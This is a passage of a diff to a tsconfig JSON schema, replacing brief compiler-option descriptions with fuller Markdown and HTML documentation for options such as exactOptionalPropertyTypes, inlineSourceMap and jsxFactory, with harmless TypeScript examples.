+              "x-intellij-html-description": "<p>Node.js <a href=\"https://nodejs.org/api/typescript.html#type-stripping\">supports running TypeScript files directly</a> as of v23.6;\nhowever, only TypeScript-specific syntax that does not have runtime semantics are supported under this mode.\nIn other words, it must be possible to easily <em>erase</em> any TypeScript-specific syntax from a file, leaving behind a valid JavaScript file.</p>\n<p>That means the following constructs are not supported:</p>\n<ul>\n<li><code>enum</code> declarations</li>\n<li><code>namespace</code>s and <code>module</code>s with runtime code</li>\n<li>parameter properties in classes</li>\n<li>Non-ECMAScript <code>import =</code> and <code>export =</code> assignments</li>\n<li><code>&lt;prefix&gt;</code>-style type assertions</li>\n</ul>\n<pre><code class=\"language-ts\">// ❌ error: An `import ... = require(...)` alias\nimport foo = require(&quot;foo&quot;);\n\n// ❌ error: A namespace with runtime code.\nnamespace container {\n    foo.method();\n\n    export type Bar = string;\n}\n\n// ❌ error: An `import =` alias\nimport Bar = container.Bar;\n\nclass Point {\n    // ❌ error: Parameter properties\n    constructor(public x: number, public y: number) { }\n}\n\n// ❌ error: An `export =` assignment.\nexport = Point;\n\n// ❌ error: An enum declaration.\nenum Direction {\n    Up,\n    Down,\n    Left,\n    Right,\n}\n\n// ❌ error: &lt;prefix&gt;-style type assertion.\nconst num = &lt;number&gt;1;\n</code></pre>\n<p>Similar tools like <a href=\"https://github.com/bloomberg/ts-blank-space\">ts-blank-space</a> or <a href=\"https://github.com/nodejs/amaro\">Amaro</a> (the underlying library for type-stripping in Node.js) have the same limitations.\nThese tools will provide helpful error messages if they encounter code that doesn&#39;t meet these requirements, but you still won&#39;t find out your code doesn&#39;t work until you actually try to run it.</p>\n<p>The <code>--erasableSyntaxOnly</code> flag will cause TypeScript to error on most TypeScript-specific constructs that have runtime behavior.</p>\n<pre><code class=\"language-ts\">class C {\n    constructor(public x: number) { }\n    //          ~~~~~~~~~~~~~~~~\n    // error! This syntax is not allowed when &#39;erasableSyntaxOnly&#39; is enabled.\n    }\n}\n</code></pre>\n<p>Typically, you will want to combine this flag with the <code>--verbatimModuleSyntax</code>, which ensures that a module contains the appropriate import syntax, and that import elision does not take place.</p>\n"
             },
             "exactOptionalPropertyTypes": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Differentiate between undefined and not present when type checking",
+              "description": "With exactOptionalPropertyTypes enabled, TypeScript applies stricter rules around how it handles properties on `type` or `interfaces` which have a `?` prefix.\n\nFor example, this interface declares that there is a property which can be one of two strings: 'dark' or 'light' or it should not be in the object.\n\n```ts\ninterface UserDefaults {\n  // The absence of a value represents 'system'\n  colorThemeOverride?: \"dark\" | \"light\";\n}\n```\n\nWithout this flag enabled, there are three values which you can set `colorThemeOverride` to be: \"dark\", \"light\" and `undefined`.\n\nSetting the value to `undefined` will allow most JavaScript runtime checks for the existence to fail, which is effectively falsy. However, this isn't quite accurate; `colorThemeOverride: undefined` is not the same as `colorThemeOverride` not being defined. For example, `\"colorThemeOverride\" in settings` would have different behavior with `undefined` as the key compared to not being defined.\n\n`exactOptionalPropertyTypes` makes TypeScript truly enforce the definition provided as an optional property:\n\n```ts twoslash\n// @exactOptionalPropertyTypes\n// @errors: 2322 2412\ninterface UserDefaults {\n  colorThemeOverride?: \"dark\" | \"light\";\n}\ndeclare function getUserSettings(): UserDefaults;\n// ---cut---\nconst settings = getUserSettings();\nsettings.colorThemeOverride = \"dark\";\nsettings.colorThemeOverride = \"light\";\n\n// But not:\nsettings.colorThemeOverride = undefined;\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Differentiate between undefined and not present when type checking\n\nSee more: https://www.typescriptlang.org/tsconfig#exactOptionalPropertyTypes"
+              "markdownDescription": "With exactOptionalPropertyTypes enabled, TypeScript applies stricter rules around how it handles properties on `type` or `interfaces` which have a `?` prefix.\n\nFor example, this interface declares that there is a property which can be one of two strings: 'dark' or 'light' or it should not be in the object.\n\n```ts\ninterface UserDefaults {\n  // The absence of a value represents 'system'\n  colorThemeOverride?: \"dark\" | \"light\";\n}\n```\n\nWithout this flag enabled, there are three values which you can set `colorThemeOverride` to be: \"dark\", \"light\" and `undefined`.\n\nSetting the value to `undefined` will allow most JavaScript runtime checks for the existence to fail, which is effectively falsy. However, this isn't quite accurate; `colorThemeOverride: undefined` is not the same as `colorThemeOverride` not being defined. For example, `\"colorThemeOverride\" in settings` would have different behavior with `undefined` as the key compared to not being defined.\n\n`exactOptionalPropertyTypes` makes TypeScript truly enforce the definition provided as an optional property:\n\n```ts twoslash\n// @exactOptionalPropertyTypes\n// @errors: 2322 2412\ninterface UserDefaults {\n  colorThemeOverride?: \"dark\" | \"light\";\n}\ndeclare function getUserSettings(): UserDefaults;\n// ---cut---\nconst settings = getUserSettings();\nsettings.colorThemeOverride = \"dark\";\nsettings.colorThemeOverride = \"light\";\n\n// But not:\nsettings.colorThemeOverride = undefined;\n```",
+              "x-intellij-html-description": "<p>With exactOptionalPropertyTypes enabled, TypeScript applies stricter rules around how it handles properties on <code>type</code> or <code>interfaces</code> which have a <code>?</code> prefix.</p>\n<p>For example, this interface declares that there is a property which can be one of two strings: &#39;dark&#39; or &#39;light&#39; or it should not be in the object.</p>\n<pre><code class=\"language-ts\">interface UserDefaults {\n  // The absence of a value represents &#39;system&#39;\n  colorThemeOverride?: &quot;dark&quot; | &quot;light&quot;;\n}\n</code></pre>\n<p>Without this flag enabled, there are three values which you can set <code>colorThemeOverride</code> to be: &quot;dark&quot;, &quot;light&quot; and <code>undefined</code>.</p>\n<p>Setting the value to <code>undefined</code> will allow most JavaScript runtime checks for the existence to fail, which is effectively falsy. However, this isn&#39;t quite accurate; <code>colorThemeOverride: undefined</code> is not the same as <code>colorThemeOverride</code> not being defined. For example, <code>&quot;colorThemeOverride&quot; in settings</code> would have different behavior with <code>undefined</code> as the key compared to not being defined.</p>\n<p><code>exactOptionalPropertyTypes</code> makes TypeScript truly enforce the definition provided as an optional property:</p>\n<pre><code class=\"language-ts\">// @exactOptionalPropertyTypes\n// @errors: 2322 2412\ninterface UserDefaults {\n  colorThemeOverride?: &quot;dark&quot; | &quot;light&quot;;\n}\ndeclare function getUserSettings(): UserDefaults;\n// ---cut---\nconst settings = getUserSettings();\nsettings.colorThemeOverride = &quot;dark&quot;;\nsettings.colorThemeOverride = &quot;light&quot;;\n\n// But not:\nsettings.colorThemeOverride = undefined;\n</code></pre>\n"
             },
             "incremental": {
               "description": "Enable incremental compilation. Requires TypeScript version 3.4 or later.",
               "type": ["boolean", "null"]
             },
             "tsBuildInfoFile": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the folder for .tsbuildinfo incremental compilation files.",
+              "description": "This setting lets you specify a file for storing incremental compilation information as a part of composite projects which enables faster\nbuilding of larger TypeScript codebases. You can read more about composite projects [in the handbook](https://typescriptlang.org/docs/handbook/project-references.html).\n\nThe default depends on a combination of other settings:\n\n- If `outFile` is set, the default is `<outFile>.tsbuildinfo`.\n- If `rootDir` and `outDir` are set, then the file is `<outDir>/<relative path to config from rootDir>/<config name>.tsbuildinfo`\n  For example, if `rootDir` is `src`, `outDir` is `dest`, and the config is\n  `./tsconfig.json`, then the default is `./tsconfig.tsbuildinfo`\n  as the relative path from `src/` to `./tsconfig.json` is `../`.\n- If `outDir` is set, then the default is `<outDir>/<config name>.tsbuildInfo`\n- Otherwise, the default is `<config name>.tsbuildInfo`",
               "default": ".tsbuildinfo",
               "type": ["string", "null"],
-              "markdownDescription": "Specify the folder for .tsbuildinfo incremental compilation files.\n\nSee more: https://www.typescriptlang.org/tsconfig#tsBuildInfoFile"
+              "markdownDescription": "This setting lets you specify a file for storing incremental compilation information as a part of composite projects which enables faster\nbuilding of larger TypeScript codebases. You can read more about composite projects [in the handbook](https://typescriptlang.org/docs/handbook/project-references.html).\n\nThe default depends on a combination of other settings:\n\n- If `outFile` is set, the default is `<outFile>.tsbuildinfo`.\n- If `rootDir` and `outDir` are set, then the file is `<outDir>/<relative path to config from rootDir>/<config name>.tsbuildinfo`\n  For example, if `rootDir` is `src`, `outDir` is `dest`, and the config is\n  `./tsconfig.json`, then the default is `./tsconfig.tsbuildinfo`\n  as the relative path from `src/` to `./tsconfig.json` is `../`.\n- If `outDir` is set, then the default is `<outDir>/<config name>.tsbuildInfo`\n- Otherwise, the default is `<config name>.tsbuildInfo`",
+              "x-intellij-html-description": "<p>This setting lets you specify a file for storing incremental compilation information as a part of composite projects which enables faster\nbuilding of larger TypeScript codebases. You can read more about composite projects <a href=\"https://typescriptlang.org/docs/handbook/project-references.html\">in the handbook</a>.</p>\n<p>The default depends on a combination of other settings:</p>\n<ul>\n<li>If <code>outFile</code> is set, the default is <code>&lt;outFile&gt;.tsbuildinfo</code>.</li>\n<li>If <code>rootDir</code> and <code>outDir</code> are set, then the file is <code>&lt;outDir&gt;/&lt;relative path to config from rootDir&gt;/&lt;config name&gt;.tsbuildinfo</code>\nFor example, if <code>rootDir</code> is <code>src</code>, <code>outDir</code> is <code>dest</code>, and the config is\n<code>./tsconfig.json</code>, then the default is <code>./tsconfig.tsbuildinfo</code>\nas the relative path from <code>src/</code> to <code>./tsconfig.json</code> is <code>../</code>.</li>\n<li>If <code>outDir</code> is set, then the default is <code>&lt;outDir&gt;/&lt;config name&gt;.tsbuildInfo</code></li>\n<li>Otherwise, the default is <code>&lt;config name&gt;.tsbuildInfo</code></li>\n</ul>\n"
             },
             "inlineSourceMap": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Include sourcemap files inside the emitted JavaScript.",
+              "description": "When set, instead of writing out a `.js.map` file to provide source maps, TypeScript will embed the source map content in the `.js` files.\nAlthough this results in larger JS files, it can be convenient in some scenarios.\nFor example, you might want to debug JS files on a webserver that doesn't allow `.map` files to be served.\n\nMutually exclusive with [`sourceMap`](https://typescriptlang.org/tsconfig/#sourceMap).\n\nFor example, with this TypeScript:\n\n```ts\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nConverts to this JavaScript:\n\n```ts twoslash\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nThen enable building it with `inlineSourceMap` enabled there is a comment at the bottom of the file which includes\na source-map for the file.\n\n```ts twoslash\n// @inlineSourceMap\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Include sourcemap files inside the emitted JavaScript.\n\nSee more: https://www.typescriptlang.org/tsconfig#inlineSourceMap"
+              "markdownDescription": "When set, instead of writing out a `.js.map` file to provide source maps, TypeScript will embed the source map content in the `.js` files.\nAlthough this results in larger JS files, it can be convenient in some scenarios.\nFor example, you might want to debug JS files on a webserver that doesn't allow `.map` files to be served.\n\nMutually exclusive with [`sourceMap`](https://typescriptlang.org/tsconfig/#sourceMap).\n\nFor example, with this TypeScript:\n\n```ts\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nConverts to this JavaScript:\n\n```ts twoslash\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nThen enable building it with `inlineSourceMap` enabled there is a comment at the bottom of the file which includes\na source-map for the file.\n\n```ts twoslash\n// @inlineSourceMap\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```",
+              "x-intellij-html-description": "<p>When set, instead of writing out a <code>.js.map</code> file to provide source maps, TypeScript will embed the source map content in the <code>.js</code> files.\nAlthough this results in larger JS files, it can be convenient in some scenarios.\nFor example, you might want to debug JS files on a webserver that doesn&#39;t allow <code>.map</code> files to be served.</p>\n<p>Mutually exclusive with <a href=\"https://typescriptlang.org/tsconfig/#sourceMap\"><code>sourceMap</code></a>.</p>\n<p>For example, with this TypeScript:</p>\n<pre><code class=\"language-ts\">const helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n<p>Converts to this JavaScript:</p>\n<pre><code class=\"language-ts\">// @showEmit\nconst helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n<p>Then enable building it with <code>inlineSourceMap</code> enabled there is a comment at the bottom of the file which includes\na source-map for the file.</p>\n<pre><code class=\"language-ts\">// @inlineSourceMap\n// @showEmit\nconst helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n"
             },
             "inlineSources": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Include source code in the sourcemaps inside the emitted JavaScript.",
+              "description": "When set, TypeScript will include the original content of the `.ts` file as an embedded string in the source map (using the source map's `sourcesContent` property).\nThis is often useful in the same cases as [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap).\n\nRequires either [`sourceMap`](https://typescriptlang.org/tsconfig/#sourceMap) or [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) to be set.\n\nFor example, with this TypeScript:\n\n```ts twoslash\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nBy default converts to this JavaScript:\n\n```ts twoslash\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nThen enable building it with `inlineSources` and [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) enabled there is a comment at the bottom of the file which includes\na source-map for the file.\nNote that the end is different from the example in [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) because the source-map now contains the original source code also.\n\n```ts twoslash\n// @inlineSources\n// @inlineSourceMap\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```",
               "type": ["boolean", "null"],
               "default": false,
-              "markdownDescription": "Include source code in the sourcemaps inside the emitted JavaScript.\n\nSee more: https://www.typescriptlang.org/tsconfig#inlineSources"
+              "markdownDescription": "When set, TypeScript will include the original content of the `.ts` file as an embedded string in the source map (using the source map's `sourcesContent` property).\nThis is often useful in the same cases as [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap).\n\nRequires either [`sourceMap`](https://typescriptlang.org/tsconfig/#sourceMap) or [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) to be set.\n\nFor example, with this TypeScript:\n\n```ts twoslash\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nBy default converts to this JavaScript:\n\n```ts twoslash\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```\n\nThen enable building it with `inlineSources` and [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) enabled there is a comment at the bottom of the file which includes\na source-map for the file.\nNote that the end is different from the example in [`inlineSourceMap`](https://typescriptlang.org/tsconfig/#inlineSourceMap) because the source-map now contains the original source code also.\n\n```ts twoslash\n// @inlineSources\n// @inlineSourceMap\n// @showEmit\nconst helloWorld = \"hi\";\nconsole.log(helloWorld);\n```",
+              "x-intellij-html-description": "<p>When set, TypeScript will include the original content of the <code>.ts</code> file as an embedded string in the source map (using the source map&#39;s <code>sourcesContent</code> property).\nThis is often useful in the same cases as <a href=\"https://typescriptlang.org/tsconfig/#inlineSourceMap\"><code>inlineSourceMap</code></a>.</p>\n<p>Requires either <a href=\"https://typescriptlang.org/tsconfig/#sourceMap\"><code>sourceMap</code></a> or <a href=\"https://typescriptlang.org/tsconfig/#inlineSourceMap\"><code>inlineSourceMap</code></a> to be set.</p>\n<p>For example, with this TypeScript:</p>\n<pre><code class=\"language-ts\">const helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n<p>By default converts to this JavaScript:</p>\n<pre><code class=\"language-ts\">// @showEmit\nconst helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n<p>Then enable building it with <code>inlineSources</code> and <a href=\"https://typescriptlang.org/tsconfig/#inlineSourceMap\"><code>inlineSourceMap</code></a> enabled there is a comment at the bottom of the file which includes\na source-map for the file.\nNote that the end is different from the example in <a href=\"https://typescriptlang.org/tsconfig/#inlineSourceMap\"><code>inlineSourceMap</code></a> because the source-map now contains the original source code also.</p>\n<pre><code class=\"language-ts\">// @inlineSources\n// @inlineSourceMap\n// @showEmit\nconst helloWorld = &quot;hi&quot;;\nconsole.log(helloWorld);\n</code></pre>\n"
             },
             "jsx": {
-              "description": "Specify what JSX code is generated.",
+              "description": "Controls how JSX constructs are emitted in JavaScript files.\nThis only affects output of JS files that started in `.tsx` files.\n\n- `react-jsx`: Emit `.js` files with the JSX changed to `_jsx` calls optimized for production\n- `react-jsxdev`: Emit `.js` files with the JSX changed to `_jsx` calls for development only\n- `preserve`: Emit `.jsx` files with the JSX unchanged\n- `react-native`: Emit `.js` files with the JSX unchanged\n- `react`: Emit `.js` files with JSX changed to the equivalent `React.createElement` calls\n\n### For example\n\nThis sample code:\n\n```tsx\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nReact: `\"react-jsx\"`<sup>[[1]](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html)</sup>\n\n```tsx twoslash\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\n// @showEmit\n// @noErrors\n// @jsx: react-jsx\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nReact dev transform: `\"react-jsxdev\"`<sup>[[1]](https://reactjs.org/blog/2020/09/22/introducing-the-new-jsx-transform.html)</sup>\n\n```tsx twoslash\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\n// @showEmit\n// @noErrors\n// @jsx: react-jsxdev\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nPreserve: `\"preserve\"`\n\n```tsx twoslash\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\n// @showEmit\n// @noErrors\n// @jsx: preserve\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nReact Native: `\"react-native\"`\n\n```tsx twoslash\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\n// @showEmit\n// @noErrors\n// @jsx: react-native\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\n\nLegacy React runtime: `\"react\"`\n\n```tsx twoslash\ndeclare module JSX {\n  interface Element {}\n  interface IntrinsicElements {\n    [s: string]: any;\n  }\n}\n// @showEmit\n// @noErrors\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nThis option can be used on a per-file basis too using an `@jsxRuntime` comment.\n\nAlways use the classic runtime (`\"react\"`) for this file:\n\n```tsx\n/* @jsxRuntime classic */\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```\n\nAlways use the automatic runtime (`\"react-jsx\"`) for this file:\n\n```tsx\n/* @jsxRuntime automatic */\nexport const HelloWorld = () => <h1>Hello world</h1>;\n```",
               "enum": [
                 "preserve",
                 "react",
@@ -351,77 +361,78 @@
               ]
             },
             "reactNamespace": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the object invoked for `createElement`. This only applies when targeting `react` JSX emit.",
+              "description": "Use [`jsxFactory`](https://typescriptlang.org/tsconfig/#jsxFactory) instead. Specify the object invoked for `createElement` when targeting `react` for TSX files.",
               "type": ["string", "null"],
               "default": "React",
-              "markdownDescription": "Specify the object invoked for `createElement`. This only applies when targeting `react` JSX emit.\n\nSee more: https://www.typescriptlang.org/tsconfig#reactNamespace"
+              "markdownDescription": "Use [`jsxFactory`](https://typescriptlang.org/tsconfig/#jsxFactory) instead. Specify the object invoked for `createElement` when targeting `react` for TSX files.",
+              "x-intellij-html-description": "<p>Use <a href=\"https://typescriptlang.org/tsconfig/#jsxFactory\"><code>jsxFactory</code></a> instead. Specify the object invoked for <code>createElement</code> when targeting <code>react</code> for TSX files.</p>\n"
             },
             "jsxFactory": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'",
+              "description": "Changes the function called in `.js` files when compiling JSX Elements using the classic JSX runtime.\nThe most common change is to use `\"h\"` or `\"preact.h\"` instead of the default `\"React.createElement\"` if using `preact`.\n\nFor example, this TSX file:\n\n```tsx\nimport { h } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nWith `jsxFactory: \"h\"` looks like:\n\n```tsx twoslash\n// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nThis option can be used on a per-file basis too similar to [Babel's `/** @jsx h */` directive](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#custom).\n\n```tsx twoslash\n/** @jsx h */\nimport { h } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nThe factory chosen will also affect where the `JSX` namespace is looked up (for type checking information) before falling back to the global one.\n\nIf the factory is defined as `React.createElement` (the default), the compiler will check for `React.JSX` before checking for a global `JSX`. If the factory is defined as `h`, it will check for `h.JSX` before a global `JSX`.",
               "type": ["string", "null"],
               "default": "React.createElement",
-              "markdownDescription": "Specify the JSX factory function used when targeting React JSX emit, e.g. 'React.createElement' or 'h'\n\nSee more: https://www.typescriptlang.org/tsconfig#jsxFactory"
+              "markdownDescription": "Changes the function called in `.js` files when compiling JSX Elements using the classic JSX runtime.\nThe most common change is to use `\"h\"` or `\"preact.h\"` instead of the default `\"React.createElement\"` if using `preact`.\n\nFor example, this TSX file:\n\n```tsx\nimport { h } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nWith `jsxFactory: \"h\"` looks like:\n\n```tsx twoslash\n// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nThis option can be used on a per-file basis too similar to [Babel's `/** @jsx h */` directive](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#custom).\n\n```tsx twoslash\n/** @jsx h */\nimport { h } from \"preact\";\n\nconst HelloWorld = () => <div>Hello</div>;\n```\n\nThe factory chosen will also affect where the `JSX` namespace is looked up (for type checking information) before falling back to the global one.\n\nIf the factory is defined as `React.createElement` (the default), the compiler will check for `React.JSX` before checking for a global `JSX`. If the factory is defined as `h`, it will check for `h.JSX` before a global `JSX`.",
+              "x-intellij-html-description": "<p>Changes the function called in <code>.js</code> files when compiling JSX Elements using the classic JSX runtime.\nThe most common change is to use <code>&quot;h&quot;</code> or <code>&quot;preact.h&quot;</code> instead of the default <code>&quot;React.createElement&quot;</code> if using <code>preact</code>.</p>\n<p>For example, this TSX file:</p>\n<pre><code class=\"language-tsx\">import { h } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; &lt;div&gt;Hello&lt;/div&gt;;\n</code></pre>\n<p>With <code>jsxFactory: &quot;h&quot;</code> looks like:</p>\n<pre><code class=\"language-tsx\">// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; &lt;div&gt;Hello&lt;/div&gt;;\n</code></pre>\n<p>This option can be used on a per-file basis too similar to <a href=\"https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#custom\">Babel&#39;s <code>/** @jsx h */</code> directive</a>.</p>\n<pre><code class=\"language-tsx\">/** @jsx h */\nimport { h } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; &lt;div&gt;Hello&lt;/div&gt;;\n</code></pre>\n<p>The factory chosen will also affect where the <code>JSX</code> namespace is looked up (for type checking information) before falling back to the global one.</p>\n<p>If the factory is defined as <code>React.createElement</code> (the default), the compiler will check for <code>React.JSX</code> before checking for a global <code>JSX</code>. If the factory is defined as <code>h</code>, it will check for <code>h.JSX</code> before a global <code>JSX</code>.</p>\n"
             },
             "jsxFragmentFactory": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'.",
+              "description": "Specify the JSX fragment factory function to use when targeting react JSX emit with [`jsxFactory`](https://typescriptlang.org/tsconfig/#jsxFactory) compiler option is specified, e.g. `Fragment`.\n\nFor example with this TSConfig:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\"\n  }\n}\n```\n\nThis TSX file:\n\n```tsx\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```\n\nWould look like:\n\n```tsx twoslash\n// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @jsxFragmentFactory: Fragment\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```\n\nThis option can be used on a per-file basis too similar to [Babel's `/* @jsxFrag h */` directive](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#fragments).\n\nFor example:\n\n```tsx twoslash\n/** @jsx h */\n/** @jsxFrag Fragment */\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```",
               "type": ["string", "null"],
               "default": "React.Fragment",
-              "markdownDescription": "Specify the JSX Fragment reference used for fragments when targeting React JSX emit e.g. 'React.Fragment' or 'Fragment'.\n\nSee more: https://www.typescriptlang.org/tsconfig#jsxFragmentFactory"
+              "markdownDescription": "Specify the JSX fragment factory function to use when targeting react JSX emit with [`jsxFactory`](https://typescriptlang.org/tsconfig/#jsxFactory) compiler option is specified, e.g. `Fragment`.\n\nFor example with this TSConfig:\n\n```json tsconfig\n{\n  \"compilerOptions\": {\n    \"target\": \"esnext\",\n    \"module\": \"commonjs\",\n    \"jsx\": \"react\",\n    \"jsxFactory\": \"h\",\n    \"jsxFragmentFactory\": \"Fragment\"\n  }\n}\n```\n\nThis TSX file:\n\n```tsx\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```\n\nWould look like:\n\n```tsx twoslash\n// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @jsxFragmentFactory: Fragment\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```\n\nThis option can be used on a per-file basis too similar to [Babel's `/* @jsxFrag h */` directive](https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#fragments).\n\nFor example:\n\n```tsx twoslash\n/** @jsx h */\n/** @jsxFrag Fragment */\n\nimport { h, Fragment } from \"preact\";\n\nconst HelloWorld = () => (\n  <>\n    <div>Hello</div>\n  </>\n);\n```",
+              "x-intellij-html-description": "<p>Specify the JSX fragment factory function to use when targeting react JSX emit with <a href=\"https://typescriptlang.org/tsconfig/#jsxFactory\"><code>jsxFactory</code></a> compiler option is specified, e.g. <code>Fragment</code>.</p>\n<p>For example with this TSConfig:</p>\n<pre><code class=\"language-json\">{\n  &quot;compilerOptions&quot;: {\n    &quot;target&quot;: &quot;esnext&quot;,\n    &quot;module&quot;: &quot;commonjs&quot;,\n    &quot;jsx&quot;: &quot;react&quot;,\n    &quot;jsxFactory&quot;: &quot;h&quot;,\n    &quot;jsxFragmentFactory&quot;: &quot;Fragment&quot;\n  }\n}\n</code></pre>\n<p>This TSX file:</p>\n<pre><code class=\"language-tsx\">import { h, Fragment } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; (\n  &lt;&gt;\n    &lt;div&gt;Hello&lt;/div&gt;\n  &lt;/&gt;\n);\n</code></pre>\n<p>Would look like:</p>\n<pre><code class=\"language-tsx\">// @showEmit\n// @showEmittedFile: index.js\n// @jsxFactory: h\n// @jsxFragmentFactory: Fragment\n// @noErrors\n// @target: esnext\n// @module: commonjs\n\nimport { h, Fragment } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; (\n  &lt;&gt;\n    &lt;div&gt;Hello&lt;/div&gt;\n  &lt;/&gt;\n);\n</code></pre>\n<p>This option can be used on a per-file basis too similar to <a href=\"https://babeljs.io/docs/en/babel-plugin-transform-react-jsx#fragments\">Babel&#39;s <code>/* @jsxFrag h */</code> directive</a>.</p>\n<p>For example:</p>\n<pre><code class=\"language-tsx\">/** @jsx h */\n/** @jsxFrag Fragment */\n\nimport { h, Fragment } from &quot;preact&quot;;\n\nconst HelloWorld = () =&gt; (\n  &lt;&gt;\n    &lt;div&gt;Hello&lt;/div&gt;\n  &lt;/&gt;\n);\n</code></pre>\n"
             },
             "jsxImportSource": {
-              "$comment": "The value of 'null' is UNDOCUMENTED (https://github.com/microsoft/TypeScript/pull/18058).",
-              "description": "Specify module specifier used to import the JSX factory functions when using `jsx: react-jsx`.",
